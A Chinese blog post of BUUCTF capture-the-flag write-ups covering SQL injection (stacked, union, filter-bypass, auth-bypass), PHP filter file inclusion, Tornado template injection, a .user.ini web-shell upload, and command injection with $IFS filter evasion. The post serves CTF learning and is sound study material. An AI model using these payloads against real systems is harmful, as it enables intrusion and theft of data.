記buuctf 0x01

接上一個關於buuoj上的題解,確實題很多,慢慢刷吧

[SUCTF 2019]EasySQL

唉,大佬做題都是習慣在題目上標上Easy,本菜雞已無力吐槽(自己菜還能怪誰。。。)

Give me your flag, I will tell you if the flag is right.
輸入框

只有一個輸入框,輸入查詢的東西,只有三種回顯,一個是數組,一個是Nonono,一個是返回空,猜測Nonono應該是檢測到了敏感詞,其他的不知道了,又是日常搜題解

參考題解之後,知道是堆疊注入,而且輸入的內容並不是往常的sql注入一樣是參數,而是列名,後端的查詢語句:

$sql = "select ".$_POST['query']."||flag from Flag";

蒙了呀,,,這咋猜啊

根據大佬們的wp,這題有兩種解法

第一種
1;set sql_mode=PIPES_AS_CONCAT;select 1

sql_mode=PIPES_AS_CONCAT是將||or變爲拼接字符串,在Oracle中是缺省支持的,但是在mysql中缺省不支持,這樣的話,select只會查詢||之前的那一列,本地測試結果:

mysql> set sql_mode=pipes_as_concat;
Query OK, 0 rows affected (0.00 sec)

mysql> select 111||username from users limit 1;
+---------------+
| 111||username |
+---------------+
| 111Dumb       |
+---------------+
1 row in set (0.01 sec)
第二種

直接輸入*,1,因爲*是通配符,直接將所有的列查詢出來,flag也就出來了

[HCTF 2018]admin

不會(菜的理直氣壯)
大佬的wp:
HCTF2018-admin

[極客大挑戰 2019]Secret File

這題主要就是涉及抓包以及文件包含,打開鏈接之後是個黑色的頁面,顯示“把一切都放在那裏了,去找吧”

說實話我是鼠標亂劃拉,劃拉到頁面下方的中間位置看到瀏覽器左下角有鏈接的提示,實際上也可以通過右鍵查看源代碼,發現有個鏈接,訪問之後提示讓點擊SECRET按鈕
點擊之後卻返回一個頁面顯示說“查閱結束,沒看清麼?回去再仔細看看吧。”

猜測應該是存在頁面跳轉,用Burp Suite抓包可以看到有個返回的html頁面中的註釋secr3t.php
訪問secr3t.php

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php裏
?>

然後按提示訪問flag.php,結果頁面上沒有顯示,那麼flag應該是保存在falg.php中的某個變量中,可以利用secr3t.php中的文件包含,利用php的filter協議讀取flag.php

構造payload:
?file=php://filter/convert.base64-encode/resource=flag.php
然後再將結果base64解碼就有結果了

可參考:
php僞協議的一些總結

[護網杯 2018]easy_tornado

打開靶機是個文件列表,只有三個文件,根據題目,Tornado是使用Python編寫的Web服務器兼Web應用框架,那麼這題很可能與ssti有關

/flag.txt        //flag in /fllllllllllllag
/welcome.txt     //render
/hints.txt       //md5(cookie_secret+md5(filename))

註釋後面是打開文件後的內容,觀察打開文件後的urlflag.txturl

http://e8c959bd-9e7f-4024-a8aa-02b012ae6b1b.node3.buuoj.cn/file?filename=/flag.txt&filehash=9d2667d483e4cb5a237908e3e552d3a0

看樣子filename即是要打開的文件,然後根據hints.txt可以猜測,filehash即爲文件簽名,簽名方式即爲hints.txt中的方式,那麼就還需要知道cookie_secret

有關render函數的文章:render函數介紹,以及 render: h => h(App)

然後根據其他大佬的思路,在burpsuite裏是找不到cookie的,應該就是存在服務端了,然後根據報錯頁面(隨便改一個文件的簽名就會有404頁面)

http://e8c959bd-9e7f-4024-a8aa-02b012ae6b1b.node3.buuoj.cn/error?msg=Error

其中msg參數存在模板注入,經過測試屏蔽了很多特殊字符,輸入{{1^1}}或者{{1^0}}可以進行異或運算

然後就不會了(再次菜的理直氣壯),翻了一(億)下別人的wp:學習筆記2.護網杯 2018 easy_tornado

然後直接用msg={{handler.settings}}就可以獲得cookie_secret

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '3970aa6c-cbfd-4f76-8f21-8d2972867169'}

然後計算文件對應的簽名就可以拿到flag了,payload:

file?filename=/fllllllllllllag&filehash=5a0ab60fd2f5e61767ec46a3a8785553

[SUCTF 2019]CheckIn

文件上傳,emmm,只會傳一句話,日常搜題解

直接上傳php一句話文件是不行的,提示illegal suffix!非法後綴,直接改爲jpg結尾也不行,回顯<? in contents!
隨便傳個內容試一下,文件名123.jpg,內容test,回顯exif_imagetype:not image!exif_imagetype()函數通過獲取文件的第一個字節並檢查簽名來判斷是哪種圖片,不是圖片則返回false

上傳文件內容添加gif頭GIF89a,上傳成功,返回上傳目錄,以及目錄下的文件

Your dir uploads/76d9f00467e5ee6abc3ca60892ef304e
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(7) "123.jpg" [3]=> string(9) "index.php" }

分別是本目錄.上層目錄..和本目錄下的index.php以及剛上傳的123.jpg
目前已知信息:

  • 上傳文件會經過黑名單過濾,不允許出現<?
  • 上傳文件中必須存在圖片文件的開頭hex值

剩下的就不會了(理直氣壯)
開始面向wp做題,看到大佬的wp說道可以上傳.user.ini文件來實現在php文件中引入類似require('file')的效果

.user.ini中設置auto_prepend_file=shell.jpg,就可以在index.php中自動添加shell.jpg

先上傳'xxx.jpg'
GIF89a
<script language='php'>system('cat /flag');</script>

然後上傳'.user.ini'
GIF89a
auto_prepend_file=xxx.jpg

然後訪問
http://.../uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php
成功getflag

參考鏈接

N種方法解決

不行,怎麼說得做道題,不能睡那麼早,做個misc壓壓驚(菜雞隻會misc)
下載壓縮包,解壓後得到KEY.exe,但是電腦卻無法運行,拖到winhex裏看到直接就是base64編碼的圖片,base64解碼之後得到二維碼,然後掃碼get flag

放幾個base解碼編碼的網站:

[極客大挑戰 2019]EasySQL

登錄界面,輸入參數之後提交到check.php,直接用的get方式,單引號可以看到報錯信息,payload:uname=a' or ''='&passwd=a' or ''='

[極客大挑戰 2019]LoveSQL

接上一題,聯合查詢注入(這題我會!),上一題的payload可以成功登陸而且給了admin的密碼,但是沒啥卵用,題目上說flag放在其他地方了,先order by得出有三列

然後uname=a&passwd=a' union select 1,2,'3可以看到有2和3兩個回顯,database(),得到數據庫geek(其實這一步報錯也能看到,我是手滑函數名輸錯了,然後提示FUNCTION geek.databse does not exist,那看來數據庫就是geek了)

uname=a&passwd=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek
//查到兩張表geekuser,l0ve1ysq1
uname=a&passwd=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1
//查到三列id,username,password
uname=a&passwd=a' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#
//查到一大堆東西,其中password字段最後一行是flag

總結一下就是個簡單的聯合查詢注入,,,很經典的題,沒有任何過濾,sqlmap應該能直接注入(可惜我不會用,就當練手了吧),畢竟人家出題人都說了“sqlmap是沒有靈魂的”(話說要是會用sqlmap誰還管你有沒有靈魂)

[極客大挑戰 2019]BabySQL

雙寫繞過,如果查詢語句只經過了一次過濾,過濾方式爲把關鍵字刪除,那麼直接將所有被過濾的關鍵字雙寫即可:

or -->oORr
from --> fFROMrom
union --> uUNIONnion
select --> sSELECTelect
where --> wWHEREhere
information_schema --> infoORrmation_schema
password --> passwoORrd

[GXYCTF2019]Ping Ping Ping

命令執行,但是按照別人的題解,只返回了index.php的部分源碼

?ip=1;cat$IFS`ls`

也嘗試了變量拼接,注意源碼中的正則匹配是不允許有.*f.*l.*a.*g.*也就是順序也不能是flag

?ip=1;a=ag.php;b=fl;cat$FS$b$a  //注意不能是a=fl;b=ag.php

但是依然沒有回顯,然後用管道符連接執行od -c查看

?ip=1;a=ag.php;b=fl;cat$IFS$b$a|od$IFS-c
//成功得到回顯
PING 1 (0.0.0.1): 56 data bytes
0000000   <   ?   p   h   p  \r  \n   $   f   l   a   g       =       "
0000020   f   l   a   g   {   e   a   e   b   6   f   3   4   -   3   f
0000040   e   d   -   4   2   0   2   -   8   e   2   8   -   7   8   5
0000060   7   b   4   a   6   4   d   4   a   }   "   ;  \r  \n   ?   >
0000100  \r  \n
0000102

mdzz。。。剛剛重新試了一下,右鍵查看源代碼就行了。。。沒必要費事用od -c,可能是瀏覽器的鍋,應該是瀏覽器識別爲php代碼了
index.php的代碼

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

總結一下可以查看文件的命令

cat	tac	nl	more	less	head	tail	od

GXYCTF2019WP
[GXYCTF2019]Ping Ping Ping {命令執行總結}

[GXYCTF2019]BabySQli

單引號報錯界面查看源代碼,可以看到html註釋,base32之後base64會給出$sql查詢語句,如果輸入的用戶名不是admin會回顯wrong user,是則回顯wrong pass,那麼一定有admin這個用戶,下面是github上的部分源碼

$sql = "select * from user where username = '".$name."'";
//...
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
	if(md5($password) == $arr[2]){
		echo $flag;
	}
	else{
		die("wrong pass!");
	}
}

知道源碼之後可以再username處進行注入,通過order by(注意or被過濾,可以大寫繞過)判斷出有三列,可以通過聯合查詢返回自己要的結果,payload:

uname=a' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b&password=1

union select使得返回的結果爲一行內容

1 | admin | c4ca4238a0b923820dcc509a6f75849b	//'1'的md5值

那麼和md5($password)比較之後就會通過判斷,然後就有flag了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章